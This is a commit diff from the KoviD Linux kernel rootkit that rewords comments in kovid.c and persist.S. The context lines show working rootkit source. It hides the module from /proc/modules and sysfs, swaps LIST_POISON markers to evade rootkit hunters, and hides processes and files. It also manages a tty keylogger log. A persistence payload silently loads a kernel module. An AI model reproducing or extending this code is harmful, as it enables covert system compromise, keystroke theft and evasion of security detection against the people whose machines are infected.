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Continuing to fix a few comments
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carloslack committed Nov 6, 2023
1 parent 4f0e288 commit a6333fd
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Showing 2 changed files with 35 additions and 33 deletions.
58 changes: 28 additions & 30 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -232,13 +232,11 @@ static void kv_hide_mod(void) {
*/
kv_list_del(this_list.prev, this_list.next);

/**
* Swap LIST_POISON in order to trick
* some rk hunters that will look for
* the markers set by list_del()
*
* It should be OK as long as you don't run
* list debug on this one (lib/list_debug.c)
/*
* To deceive certain rootkit hunters scanning for
* markers set by list_del(), we perform a swap with
* LIST_POISON. This strategy should be effective,
* as long as you don't enable list debugging (lib/list_debug.c).
*/
this_list.next = (struct list_head*)LIST_POISON2;
this_list.prev = (struct list_head*)LIST_POISON1;
Expand All @@ -262,10 +260,10 @@ static void kv_hide_mod(void) {
}

/*
* Restore module entries in
* /proc/modules and /sys/module/<module>/
* After this function is called the best next
* thing to do is to rmmod the module.
* This function is responsible for restoring module entries in both
* /proc/modules and /sys/module/<module>/. After this function is
* executed, the recommended action is to proceed with the rmmod
* command to unload the module safely.
*/
static void kv_unhide_mod(void) {
int err;
Expand All @@ -275,12 +273,12 @@ static void kv_unhide_mod(void) {
return;

/*
* sysfs is tied inherently to kernel objects, here
* we restore the bare minimum of sysfs entries
* that will be needed when rmmod comes
* Sysfs is intrinsically linked to kernel objects. In this section,
* we reinstate only the essential sysfs entries required when
* performing rmmod.
*
* sysfs will look like this
* after restoration:
* After the restoration process, the sysfs structure will
* appear as follows:
*
* /sys/module/<MODNAME>/
* ├── holders
Expand All @@ -292,7 +290,7 @@ static void kv_unhide_mod(void) {
/** Sets back the active state */
lkmmod.this_mod->state = MODULE_STATE_LIVE;

/** MODNAME is the parent kernel object */
/** MODNAME is the parent kernel object */
err = kobject_add(&(lkmmod.this_mod->mkobj.kobj), rmmod_ctrl.parent, "%s", MODNAME);
if (err)
goto out_put_kobj;
Expand Down Expand Up @@ -361,7 +359,7 @@ static void set_elfbits(char *bits) {
}
}

/** XXX: fix this stupid API */
/** XXX: fix/improve this API */
static struct elfbits_t *get_elfbits(bool *ready) {
spin_lock(&elfbits_spin);
if (ElfBits.ready) {
Expand Down Expand Up @@ -452,9 +450,9 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,

pid = (pid_t)simple_strtol((const char*)buf, NULL, 10);
/**
* Please, INIT is a no-goer
* Tip: stay safe by avoiding to hide
* system tasks
* Caution: INIT is off-limits
* Tip: Ensure safety by refraining from hiding
* essential system tasks
*/
if(pid > 1)
kv_hide_task_by_pid(pid, 0, CHILDREN);
Expand All @@ -479,35 +477,35 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
} else if(!strcmp(buf, magik) && op_lock) {
op_lock = 0;
kv_unhide_mod();
/* list hidden tasks */
/* list hidden tasks */
} else if(!strcmp(buf, "-s")) {
kv_show_saved_tasks();
/* add name to the list of hidden files/directories */
/* add name to the list of hidden files/directories */
} else if(!strncmp(buf, "-a", MIN(2, size))) {
char *s = &buf[3];
s[strcspn(s, " ")] = 0;
if (strlen(s)) {
const char *tmp[] = {s,NULL};
fs_add_name_rw(tmp);
}
/* unhide file/directory */
/* unhide file/directory */
} else if(!strncmp(buf, "-d", MIN(2, size))) {
char *s = &buf[3];
s[strcspn(s, " ")] = 0;
if (strlen(s)) {
const char *tmp[] = {s,NULL};
fs_del_name(tmp);
}
/* show current hidden files/directories */
/* show current hidden files/directories */
} else if(!strcmp(buf, "-l")) {
fs_list_names();
/* set tty log file to be removed on rmmod */
/* set tty log file to be removed on rmmod */
} else if (!strcmp(buf, "-t0")) {
kv_keylog_rm_log(true);
/* unset tty log file to be removed on rmmod */
kv_keylog_rm_log(true);
/* unset tty log file to be removed on rmmod */
} else if (!strcmp(buf, "-t1")) {
kv_keylog_rm_log(false);
/* fetch base address of process */
kv_keylog_rm_log(false);
/* fetch base address of process */
} else if (!strncmp(buf, "-b", MIN(2, size))) {
char *tmp = &buf[3];
tmp[strcspn(tmp, " ")] = 0;
Expand Down
10 changes: 7 additions & 3 deletions src/persist.S
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,14 @@
* - hash
*
* KoviD rootkit
* This can be easily modified to run other commands but
* intention here is to load a LKM, silently.
*
* Read this! You'll need loadmodule.sh:
* This code is designed to serve as the payload for Volundr.
*
* While it can be readily customized to execute other commands,
* its primary purpose is to load a Linux Kernel Module (LKM) quietly.
*
* Make sure to read this! You will need the 'loadmodule.sh' script:
*
* ---snip---
* #!/bin/bash
* /sbin/insmod $1 2>/dev/null
Expand Down

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